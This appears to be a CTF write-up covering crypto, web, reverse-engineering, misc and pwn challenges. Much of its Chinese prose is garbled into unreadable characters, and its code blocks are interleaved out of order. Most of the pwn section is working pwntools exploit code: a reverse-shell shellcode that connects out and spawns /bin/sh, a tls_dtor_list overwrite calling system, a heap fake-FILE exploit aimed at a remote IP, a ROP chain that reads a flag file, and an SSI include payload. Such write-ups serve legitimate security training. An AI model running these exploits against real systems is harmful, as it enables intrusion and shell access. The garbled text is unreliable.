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Azure RSA   
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3. ӷୗݳଚ࿢ᥴ҅ٚ୏໑ݩ஑کflag:

EIS{Comm0n_Div15or_plus_CRT_is_so_easy|cb2733b9e69ab3a9bd526fa1}

Azure Oracle   

1. ຽٵጱRSA LSB Oracle҅૪Ꭳflagᳩଶ᝜ضݢ҅ࢱ๜ࣈᦇᓒᝑଗ᫪ᜓ፜෸ᳵ

2. LSBአAES֕҅ੂےunpadڍහਂࣁᄋ၏҅ႲےӷӻහഝࣘᬮܻLSB҅݇ݢᘍPOODLE ATTACK

3. ᝑଗ᫪ԫ҅ݸړ՗ก෈Ӿᳵ᮱ړತکflag:

EIS{13reak_7he_0racl3_!5_32}

Azure 3AES   

1. ໑ഝ୑౲ے޾ဩᬩᓒ௔ᨶ҅᭑ྲᇙᬮܻmask1޾mask2

2. mask3ړڔԅૢݦӷ᮱ڦړ҅ړᬰᤈӾᳵፘ᭬

3. Ӿᳵፘ᭬ᬮܻsuffix1޾suffix2҅ᆐݸአ3ӻkeyᥴੂ஑کflag:

EIS{D0ubl3_meet_!n_7he_rnidd1e!}

web   

SimpleBBS   

ᓌܔጱ SQL ဳ҅فጭᴭ॒አಁݷ෫ձ֜ᬦᄁ̶

SimpleBlog   

ԫེဳ҅فՖᆐࣁአಁݝ॒҅ݷᥝဳٙԧአಁݷӾන Payload ̶ݢܨইຎ᭦ᬋ๵կԅڞ؃஑ړԅ 0 ҅
̶ړ੪տ஑ڞވ

SimpleServerInjection   



உፗጮጱ SSI̶

 

SimpleExtensionExplorerInjection   

ᓌܔጱ XXE҅๜᫝ฎդᎱਭᦇ҅ਫᴬӤ੪ฎᄋ၏ CVE-2018-1259̶ӧग़᧔҅payload ݇
ᘍғhttps://github.com/iflody/myBugAnalyze/tree/master/2018/CVE-2018-1259

SimplePrintEventLogger   

๜᫝ฎդᎱਭᦇ҅ਫᴬӤฎᄋ၏ CVE-2018-1273҅ӧᬦ᷌ڊጱ෸ײဌᘍᡤک XXE ᧛ፓ୯ጱఘ҅٭ᤩᶋ
ᶼ๗ԧ҅୽ߥԧय़ਹጱ਍ԟ֛ḵ҅Ⴎఽ಼྇҅ىԭᬯӻᄋ၏ᗑӤํஉग़ړຉ҅౯ԞٟᬦӞӻ҅
Payload Ԟࣁᬯ᯾҅ݢզ݇ᘍӞӥ:

https://github.com/iflody/myBugAnalyze/tree/master/2018/CVE-2018-1273

SimpleWebAssemblyReverse   

wasm ᭋ҅ݻ᭿୏෫ى᭦ᬋ̶

౯ժӞᅩӞᅩ፡҅ض፡کӞӻىᲫڣෙ̶

 

๵կ $I1 ੪ฎ๜ݒࣈᰁ $l171 ٌ҅꧊ࣁݢᬯ᯾឴஑

 

Ԟ੪ฎ᧔ڣෙ $l170 ฎވԅ 38̶

 

ڞވԅ 38҅ইຎԅވෙԧ flag ጱᳩଶฎڣflag ጱᳩଶ҅ᬯ᯾ ܨ஑ $l170 ฎփᬰ๶ጱᒫԫӻ݇හ҅ݢ
ᬰفᬯӻړඪ҅፡᩸๶ᬯ᯾ฎ०ᨳ᭦ᬋ҅ܨ flag ໒ୗԅ flag\{.{32}\} ̶౯ժ፡ݸᶎ̶ࣁᦡᗝԧӞञ๜
ԧӞӻ஗ሾ̶فᬰݸᰁݒࣈ

 

<!--%23include+virtual%3D"flag"+-->

 (if $I1

      (get_local $l171)

    (set_local $l171

      (i32.ne

        (get_local $l170)

        (i32.const 38)))

    (set_local $l170

      (get_local $l151))

      

    (set_local $l151

      (get_local $p1))

    (loop $L2

      (block $B3

        (set_local $l180

https://github.com/iflody/myBugAnalyze/tree/master/2018/CVE-2018-1259
https://github.com/iflody/myBugAnalyze/tree/master/2018/CVE-2018-1273


፡౯ٟጱဳ᯽̶

ӥӞӻ஗ሾ̶

 

          (get_local $l132))

        (set_local $l181

          (i32.lt_u

            (get_local $l180)

            (i32.const 3)))

        (if $I4

          (i32.eqz

            (get_local $l181))//ڟᬰ๶ᬯӻ๵կጯړጯฎ false̶ࢩԅ 0 < 3 ฎ 

True̶ݸଙᦇහ࢏ l32 տ1 ے.஗ሾᬰᤈӣ̶ེ

          (then

            (br $B3)))

        (set_local $l182

          (get_local $l131))// ࢧშӞӥٌ҅ਫ੪ฎ຾Ӥ̶ݸଙᬮฎ؉ԧԶڡত۸ૡ֢҅ᆐ

L2̶ ک᪡ګ୩ݸ

        (set_local $l183

          (get_local $l132))

        (set_local $l184 // $l184 = $l182 + ᦇහ2҅ >> ࢏ᦇහڦړ࢏ฎ0,1,2.

          (i32.add

            (get_local $l182)

            (i32.shl

              (get_local $l183)

              (i32.const 2)))) 

        (i32.store

          (get_local $l184) // ಩ $l184 ᬯӻ຾࣎ࣈӤ +2 +4 +8 ጱ֖ᗝڡত۸ԅ 0.

          (i32.const 0))

        (set_local $l185

          (get_local $l132))

        (set_local $l186

          (i32.add

            (get_local $l185)

            (i32.const 1)))

        (set_local $l132

          (get_local $l186))// ᦇහ1ے࢏.

        (br $L2)))// ๋ݸ፡᩸๶ٌਫဌ؉ࠨ...੪ฎڡত۸ԧӞӥ຾Ӥጱپӻ֖ᗝ҅෫ى᭦ᬋ҅

ള፳፡̶

    (loop $L5

      (block $B6

        (set_local $l187

          (get_local $l153)) // $l187 = $l153 = 0

        (set_local $l188

          (get_local $l151)) // $l188 = $l151 = $p1 ᬯ᯾ฎ 38

        (set_local $l189

          (i32.eq

            (get_local $l187)



            (get_local $l188))) // ஗ሾڣෙ᪡ڊ๵կ̶

        (if $I7

          (get_local $l189)

          (then

            (br $B6))) // ইຎӧჿ᪃๵կ੪Ӟፗ஗ሾӥ݄҅ᬯ᯾ଫᧆ੪ฎ᭭ܲਁᒧԀԧ̶

        (set_local $l7

          (get_local $l150)) // $l7 = $l150 = $p0҅Ԟ੪ฎ౯ժփفጱਁᒧԀጱ̶࣎ࣈ

        (set_local $l8

          (get_local $l153)) // $l8 = $l153 Ԟ੪ฎᦇහ࢏

        (set_local $l9 // $l9 = ᦇහ1 + ࢏

          (i32.add

            (get_local $l8)

            (i32.const 1)))

        (set_local $l153 // ᦇහ࢏ = ᦇහ1 + ࢏

          (get_local $l9))

        (set_local $l10 // $l10 ੪ฎ୮ਁڹᒧጱ̶࣎ࣈ

          (i32.add

            (get_local $l7)

            (get_local $l8)))

        (set_local $l11 // $l11 տ՗ $l10 ᬯӻ8 ݐ឴࣎ࣈ ֖҅Ԟ੪ฎ 1 ਁᜓ̶ਁܨᒧ

Ԁ୮ڹ index ਁᜓ

          (i32.load8_s

            (get_local $l10)))

        (set_local $l12 

          (i32.shr_s

            (i32.shl

              (get_local $l11)

              (i32.const 24))

            (i32.const 24))) // ૢضᑏٚᒧݦݩᑏ҅፡᩸๶ฎႴᑮṛ̶֖

        (set_local $l13 //  $l13 = ୮3 + ᜓਁڹ

          (i32.add

            (get_local $l12)

            (i32.const 3)))

        (set_local $l14 // $l14 = $l13 & 255

          (i32.and

            (get_local $l13)

            (i32.const 255)))

        (set_local $l110

          (get_local $l155))

        (set_local $l111 // $l111 = $l14

          (get_local $l14))

        (set_local $l15

          (get_local $l110))

        (set_local $l16 // $l16 = $l111

          (get_local $l111))

        (call $f797 // $f797 ྲ᫾॔๥҅፡᩸๶ฎӻପڍහ҅ଫᧆӧտฎஉ॔๥ጱ඙֢҅፡ک

᯾ᶎํ຾ფڊ༄ັ҅ሖၥฎᔄ֒ strcat ᬯ໏ጱ඙̶֢

          (get_local $l15)

          (get_local $l16))



፡ဳ᯽̶౯ժᦊԅᬯྦྷጱᕮຎ๋ᕣฎփ݇فහྯӻਁᜓ +3 ݸጱᕮຎ̶

զ݇ݢᵙ҅ࢯӻ؇ᑏӤտྲ᫾ߺࣁᰁฎݒӻߺ຾Ӥጱ඙֢҅మ୓Ⴔٍ֛ࣁᶎጱᕮຎտྲ᫾Ԥ҅य़ᰁݸ
ᘍӥ https://xz.aliyun.com/t/2854҅ࣁ ida 7.2 ӥֵአ wasm_emu ᚆ჉ວقੴݒᰁ҅๜ݒࣈᰁٖ҅
ܨ຾̶౯ժᬯ᯾Ոૡ݄ತತӥӞӻ function call̶፡፡ᚆӧᚆํ൉ᐏ҅ӥӞӻ function call̶޾ਂ
f52҅ള፳፡ᬯӻڍහଗࡶጱ̶

 

ҁᒫӞӻਁᜓ & 3҂ << 4 + ᒫԫӻਁᜓ >> 4

 

        (br $L5))

            (set_local $l156

              (i32.load8_s

                (get_local $l95)))

            (set_local $l158

              (i32.and

                (get_local $l156)

                (i32.const 255)))

            (set_local $l159

              (i32.and

                (get_local $l158)

                (i32.const 3)))

            (set_local $l160

              (i32.shl

                (get_local $l159)

                (i32.const 4)))

            (set_local $l161

              (i32.add

                (get_local $l95)

                (i32.const 1)))

            (set_local $l162

              (i32.load8_s

                (get_local $l161)))

            (set_local $l163

              (i32.and

                (get_local $l162)

                (i32.const 255)))

            (set_local $l164

              (i32.shr_s

                (get_local $l163)

                (i32.const 4)))

            (set_local $l199

              (i32.and

                (get_local $l198)

                (i32.const 15)))

            (set_local $l200

              (i32.shl

https://xz.aliyun.com/t/2854


(ᒫԫӻਁᜓ & 0xf) << 2 + (ᒫӣӻਁᜓ & 0xc0) >> 6

 

ᒫࢥӻਁᜓ & 0x3f

ᬯ๗ᳵڊሿԧහེ f797ٌ҅ਫ੪ฎ౯ժڹᶎሖၥጱਁᒧԀ೪ള̶ᬯྦྷᓒဩฎྲވ᫾ᆧఀҘٌਫ੪ฎᭋ
base64 encode̶ ݸᬯ᯾᭦ᬋ੪य़ᛘቘႴԧ̶ྯӻਁᜓ + 3҅ᆐکӾଉᥠጱᓒဩ base64 encode̶ݻ
ܨ҅کզತݢྦྷ data ࣁӞӻਁᒧԀᬰᤈྲ᫾̶޾ଫᧆฎݸ๋
aW9kan40NGgzOTNkNWZoNDtlOjloNmk1OThmNzk4O2dkPDRoZoA=

੒ᧆਁᒧԀᥴᎱଚྯӻਁᜓ̶ݢܨ 3 ٺ

              (i32.shl

                (get_local $l199)

                (i32.const 2)))

            (set_local $l202

              (i32.add

                (get_local $l95)

                (i32.const 2)))

            (set_local $l203

              (i32.load8_s

                (get_local $l202)))

            (set_local $l204

              (i32.and

                (get_local $l203)

                (i32.const 255)))

            (set_local $l205

              (i32.and

                (get_local $l204)

                (i32.const 192)))

            (set_local $l206

              (i32.shr_s

                (get_local $l205)

                (i32.const 6)))

            (set_local $l239

              (i32.add

                (get_local $l95)

                (i32.const 2)))

            (set_local $l240

              (i32.load8_s

                (get_local $l239)))

            (set_local $l241

              (i32.and

                (get_local $l240)

                (i32.const 255)))

            (set_local $l242

              (i32.and

                (get_local $l241)

                (i32.const 63)))



reverse   

hideandseek   

256੶ܔᕍႰႝڍහ҅զ݊flagᳩଶጱḵᦤڍහ҅ྯӞ੶᮷տੂےӤӞ੶ଚӬᥴੂӥӞ੶҅ida᯾൉ݐ
ԅᔮහ᮷ฎྋࢩӣེොᑕ҅زflagḵᦤ੒ྯӞ֖ᬰᤈ҅ฎӞӻӞ̶ݢܨӞ੶ጱ୑౲ੂᰬᬰᤈᥴੂྯڊ
හٌਫฎܔ᧣ጱڍහ҅ݢզፗളᥴ౲ᘏᆷᏈԞݢզ̶

tailbone   

ᑕଧӾํӞӻဌአጱatoiڍහ೰ᰒٌ҅੒ଫጱ᯿ਧ֖ᶱᤩද౮ԧ.fini_arrayӾጱᒫӞᶱ҅ۖސ෸տץද
eh_frameӾ҅੒ଫጱդᎱইӥғک

 code = """

    movaps xmm0, xmmword ptr [{flag_addr}]

    movaps xmm1, xmmword ptr [{flag_addr} + 0x10]

    movaps xmm2, xmmword ptr [{key_addr}]

    movaps xmm3, xmmword ptr [{key_addr} + 0x10]

    movaps xmm4, xmmword ptr [{key_addr} + 0x20]

    movaps xmm5, xmmword ptr [{key_addr} + 0x30]

    movaps xmm6, xmmword ptr [{key_addr} + 0x40]

    movaps xmm7, xmmword ptr [{key_addr} + 0x50]

    movaps xmm8, xmmword ptr [{key_addr} + 0x60]

    movaps xmm9, xmmword ptr [{key_addr} + 0x70]

    aesenc xmm0, xmm2

    aesenc xmm0, xmm3

    aesenc xmm0, xmm4

    aesenc xmm0, xmm5

    aesenc xmm1, xmm6

    aesenc xmm1, xmm7

    aesenc xmm1, xmm8

    aesenc xmm1, xmm9

    movaps xmmword ptr [{flag_addr}], xmm0

    movaps xmmword ptr [{flag_addr} + 0x10], xmm1

    xor rcx, rcx

    lea rdi, byte ptr [enc_data]

    lea rsi, byte ptr [{flag_addr}]

check_loop:

    mov al, byte ptr [rdi + rcx]

    cmp al, byte ptr [rsi + rcx]

    jnz {flag_wrong}



key޾cipher᮷ࢴਧࣁᑕଧӾԧ҅ፗളೲᆙፘྍݍṈᥴੂ̶ݢܨ

misc   

elfrand   

ᵋ๢ኞ౮ጱelfܻ҅఺ฎ܃ᯈߢ૶ᤒ҅ತᒧݩᤒ๶Ꮯਧflagහഝጱ֖ᗝጱ҅֕ฎय़ਹᥝԍ୏তྋாړ૲
ᆷᏈ҅ᥝԍ੪ឭٌݷও୏তԫړԧ̶̶

 

    inc rcx

    cmp rcx, 0x20

    jnz check_loop

    jmp {flag_correct}

    .align 0x10

enc_data:

"""

#!/usr/bin/env python

# -*- coding: utf-8 -*-

""" Himyth / AAA """

from pwn import *

def leak_bytes(offset, note):

    p.sendlineafter('offset: ', '%x' % offset)

    return p.recvline().strip().decode('hex')

def leak_xword(offset, note):

    data = leak_bytes(offset, note)

    return map(u64, [data[_:_ + 8] for _ in xrange(0, 8, 8)])

def leak_dword(offset, note):

    data = leak_bytes(offset, note)

    return map(u32, [data[_:_ + 4] for _ in xrange(0, 8, 4)])

p = remote("localhost", 22222)

shdr_offset = leak_xword(0x28, 'shdr_offset')[0]

SHT_STRTAB = 3

SHT_DYNSYM = 11

SHT_GNU_HASH = 0x6ffffff6

strtab = None

dynsym = None

gnuhash = None

shndx = 1



while not (strtab and dynsym and gnuhash):

    offset = shdr_offset + 0x40 * shndx

    sh_type = leak_dword(offset, 'sh_type')[1]

    if sh_type == SHT_DYNSYM and dynsym is None:

        dynsym = leak_xword(offset + 0x18, 'dynsym_offset')[0]

    if sh_type == SHT_STRTAB and strtab is None:

        strtab = leak_xword(offset + 0x18, 'strtab_offset')[0]

    if sh_type == SHT_GNU_HASH and gnuhash is None:

        gnuhash = leak_xword(offset + 0x18, 'gnuhash_offset')[0]

    shndx += 1

# generate gnu-hash for string

def gnu_hash(s):

    h = 5381

    for c in s:

        h = h * 33 + ord(c)

    return h & 0xffffffff

# calculate target variable hash value

flag_hash = gnu_hash('cool_man_i_am_your_sweet_flag_lol')

# leak metadatas in gnu_hash table

nbuckets, symndx = leak_dword(gnuhash, 'gnu_hash_metadata')

maskwords, _ = leak_dword(gnuhash + 8, 'gnu_hash_metadata')

# calculate buckets/chains offset, and flag index

buckets = gnuhash + 0x10 + 8 * maskwords

chains = buckets + 4 * nbuckets

bucket_index = flag_hash % nbuckets

# leak chain_index in bucket, and calculate chain offset

chain_index = leak_dword(buckets + bucket_index * 4, 

'gnu_hash_buckets_data')[0]

chain = chains + 4 * (chain_index - symndx)

# leak chains data, and calculate flag symbol index

flag_hash = flag_hash & (2 ** 32 - 2)

chainoff = 0

while True:

    hash1, hash2 = leak_dword(chain + chainoff * 4, 'gnu_hash_chain_data')

    hash1 = hash1 & (2 ** 32 - 2)

    hash2 = hash2 & (2 ** 32 - 2)

    if flag_hash == hash1:

        flag_symbol_index = chain_index + chainoff

    elif flag_hash == hash2:

        flag_symbol_index = chain_index + chainoff + 1

    else:

        chainoff += 2

        continue



gogogo   

icmp tunnelӾጱftpၞᰁ҅ፗള᧛ࢶᇆݢܨ

shellcodencrypt   

shellcodeտᤩᵋ๢ኞ౮ጱڍੂےහ֕҅ੂےฎڍੂےහჿ᪃Feistelᗑᕶᕮ຅҅ಅզӧᵱᥝ݄ᭋੂےݻ
զಗᤈձ఺ݢ̶فቘጱᬌݳک஑ک஑ݢܨᶲଧݦഘӞӥૢ᧣ݗفࣁහڍੂےᵱᥝ॔አݝහ҅ڍ
shellcodeԏݍݸᬳ҅ݢܨreturncodeݝฎ౯᧣ᦶ෸አጱ҅ᕮຎํ૵ؓአ๶ᬬࢧflagԧ̶̶

 

    break

flag_symbol = dynsym + 24 * flag_symbol_index

# leak flag offset in flag symbol, calculate actual offset

flag_address = leak_xword(flag_symbol + 8, 'flag_st_value')[0]

flag_offset = flag_address - 0x200000

# leak whole flag body and disassemble

flag = ''

for i in xrange(5):

    flag += leak_bytes(flag_offset + i * 8, 'flag')

print 'flag:', flag

p.close()

#!/usr/bin/env python

# -*- coding: utf-8 -*-

""" Himyth / AAA """

from pwn import *

import sys, os, re

context(arch='amd64', os='linux', log_level='info')

context(terminal=['gnome-terminal', '--', 'zsh', '-c'])

p = remote('127.0.0.1', 22222)

def swap(s):

    result = ''

    for i in xrange(0, len(s), 8):

        result += s[i + 4:i + 8] + s[i:i + 4]

    return result

sc = shellcraft.amd64

shellcode = ''

shellcode += sc.connect(host='127.0.0.1', port=55555, network='ipv4')

shellcode += sc.dup2('rbp', 0)

shellcode += sc.dup2('rbp', 1)

shellcode += sc.dup2('rbp', 2)

shellcode += sc.execve("/bin/sh", 0, 0)

shellcode = asm(shellcode, arch="amd64").ljust(0x80, '\x90')



uncaptcha/checkin   

asciiartḵᦤᎱ҅ݝᵱᥝ᯻໏ಅํጱਁᒧᆐݸ෈๜ྲ᫾ڡ๋҅ݢܨᥧ஑ᬯ᷌ྲ᫾ᓌܔ୮౮ԧcheckin҅
֕অԋဌํՈ؉ڊ๶੪಩ḵᦤᎱᳩଶ޾௛ེහ᮷ᴳӥ๶ԧ̶

youchat   

ᑃᰬԻഘጱnonceአጱฎtimestamp҅ᘒtimestampݢզ՗ݶӞӻpcapngӾጱhttp᧗࿢Ӿጱ෸ᳵ౿҅
ጱkeyզ݊flag̶ੂےڊզᬮܻݢ੪௳מӤၞᰁӾጱےݸ๶҅ᆐڊӤၞᰁӾጱ෸ᳵ؇ᑏᓒے

pwnable   

hack   

ձ఺ٟ҅࣎ࣈold ebp҅ݢզአtls_dtor_listጱොဩ҅ᕳڊӞӻ౯๜ࣈlibcጱexpғ

 

p.recvuntil('here is your base64-encoded target file:\n')

binary = base64.b64decode(p.recvline().strip())

local_binary = os.path.abspath('./shellcodencrypt')

open(local_binary, 'wb').write(binary)

os.system('chmod +x %s' % local_binary)

q = process(argv=[local_binary])

dumpfile = os.path.abspath('./afterencrypt')

gdb.attach(q, gdbscript="""

b *main+0x40

command 1

dump memory %s $rbx $rbx+0x80

quit

end

continue

""" % dumpfile

)

q.send(swap(shellcode))

while not os.path.exists(dumpfile):

    import time

    time.sleep(1)

encrypted = open(dumpfile, 'rb').read(0x80)

q.close()

reverse = listen(55555)

p.recvuntil('now your base64-encoded shellcode please:\n')

p.sendline(base64.b64encode(swap(encrypted)))

reverse.wait_for_connection()

reverse.interactive()

from pwn import *

from time import *



libc = ELF('./libc.so.6')

elf = ELF('./p.out')

r = process('./p.out')

context(arch='i386', os='linux', log_level='debug')

r.sendlineafter('address: ', str(int('0804a010', base = 16)))

r.recvuntil(', ')

recv = r.recv(10)

printf_address = int(recv, base = 16)

print hex(printf_address)

libc.address = printf_address - libc.symbols['printf']

print "libc address is:", hex(libc.address)

raw_input()

gs_18_address = libc.address + (0xb7705958 - 0xb7511000)

print "gs_18_address is:", hex(gs_18_address)

r.sendlineafter('chance: ', str(gs_18_address))

r.recvuntil(', ')

recv = r.recv(10)

gs_18_value = int(recv, base = 16)

print hex(gs_18_value)

tls_dtor_list_address = libc.address + (0xb7705914 - 0xb7511000)

print "tls_dtor_list_address is: ", hex(tls_dtor_list_address)

r.recvuntil('node is ')

recv = r.recvuntil(',')[:-1]

fake_list_address = int(recv, base = 16)

print "the fake list is at", hex(fake_list_address)

want_result = libc.symbols['system'] ^ gs_18_value

print 'want_result:', hex(want_result)

here = want_result << 9

print 'here:', hex(here)

here2 = here & 0xffffffff

here2 += here >> 32

print 'here2:', hex(here2)

fake_struct = p32(here2)

fake_struct += p32(libc.search('/bin/sh').next())

fake_struct += p32(fake_list_address)

fake_struct += p32(tls_dtor_list_address - 8)

r.sendlineafter('now: ', fake_struct)
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r.interactive()

from pwn import *

# context.log_level = 'debug'

binary = './justnote'

elf = ELF(binary)

libc = ELF('libc6_2.23-0ubuntu10_amd64.so')

env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./pwn/xtu/libc6_2.23-

0ubuntu10_amd64.so")}

io = remote('210.32.4.17',13376)

# io = process(binary)

def p():

gdb.attach(io)    

raw_input()    

def choice(c):

io.recvuntil('choice: ')    

io.sendline(str(c))    

def add(size,content):

choice(1)    

io.recvuntil('of note: ')    

io.sendline(str(size))    

io.recvuntil('note: ')    

io.send(content)    

def delete(index):

choice(2)    

io.recvuntil('of note: ')    

io.sendline(str(index))    

def edit(index,content):

choice(3)    

io.recvuntil('of note: ')    

io.sendline(str(index))    

io.recvuntil('note: ')    

io.send(content)    

add(-0x1FFFFFFFFFFFFFFFFFFFFFFFF,'\n')#0

add(0x100,'B'*0xff)#1

add(0x100,'C'*0xff)#2

add(0x100,'D'*0xff)#3

delete(1)
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delete(1)

edit(0,'A'*0x108 + p64(0x113)+'\n')

add(0x100,'B'*0x8+'\n')

io.recvuntil('B'*8)

leak = u64(io.recv(6).ljust(8,'\x00'))

libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 0x58

iolist = libc_base + libc.symbols['_IO_list_all']

sys = libc_base + libc.symbols['system']

fake_file = p64(0)

fake_file += p64(0x61)

fake_file += p64(1)

fake_file += p64(iolist- 0x10)

fake_file += p64(2) + p64(3)

fake_file += "\x00" * 8

fake_file += p64(libc_base + next(libc.search('/bin/sh\x00'))) #/bin/sh 

addr

fake_file += (0xc0-0x40) * "\x00"

fake_file += p32(0) #mode

fake_file += (0xd8-0xc4) * "\x00"

fake_file += p64(libc_base + 0x3c37b0 - 0x18) #vtable_addr

fake_file += (0xe8-0xe0) * "\x00"

fake_file += p64(sys)

delete(2)

edit(0,'A'*0x108 +p64(0x111) + 'B'*0x100+ fake_file+p64(0)*5 + 

p64(0x111)+'\n')

choice(1)

io.interactive()

#!/usr/bin/env python

# -*- coding: utf-8 -*-

__author__ = "Kira / AAA"

from pwn import *

import sys

context(binary='./dns_of_melody', os='linux', log_level='info')

# libc = ELF('.')

elf = context.binary



if len(sys.argv) > 1:

    if sys.argv[1] == 'r':  # remote

        p = remote('', )

else:

    p = elf.process(env={'LD_PRELOAD': ''})

p.sendlineafter('Select:\n', '1')

p.sendlineafter('length: \n', '80')

p.sendline('A' * 10)

p.sendlineafter('Select:\n', '2')

p.sendlineafter('index: \n', '0')

# context.log_level = 'debug'

raw_input('xx')

p.sendlineafter('Select:\n', '4')

p.sendlineafter('index: \n', '0')

payload = '.test.lovekira.cn'.rjust(0x50, 'A')

payload += '\x00./flag\x00'

payload = payload.ljust(0xa10 - 0x870, '\0')

# open("flag", 0)

payload += p64(0x601FE8)    # rbp

# 0x00000000004012b3: pop rdi; ret;

payload += flat(0x4012b3, 0x602060 + 0x51)

# 0x00000000004012b1: pop rsi; pop r15; ret;

payload += flat(0x4012b1, 0, 0)

# 0x00000000004016eb: jmp qword ptr [rbp];

payload += flat(0x4016eb)

# read(0, buf, rdx)

payload += flat(0x4012b3, 0)

payload += flat(0x4012b1, 0x602060, 0)

# 0x0000000000400b28: pop rbp; ret;

payload += flat(0x400b28, 0x601FB8)

payload += flat(0x4016eb)

# gethostbyname(buf)

payload += flat(0x4012b3, 0x602060)

payload += p64(0x400F68)

p.sendline(payload)

p.interactive()
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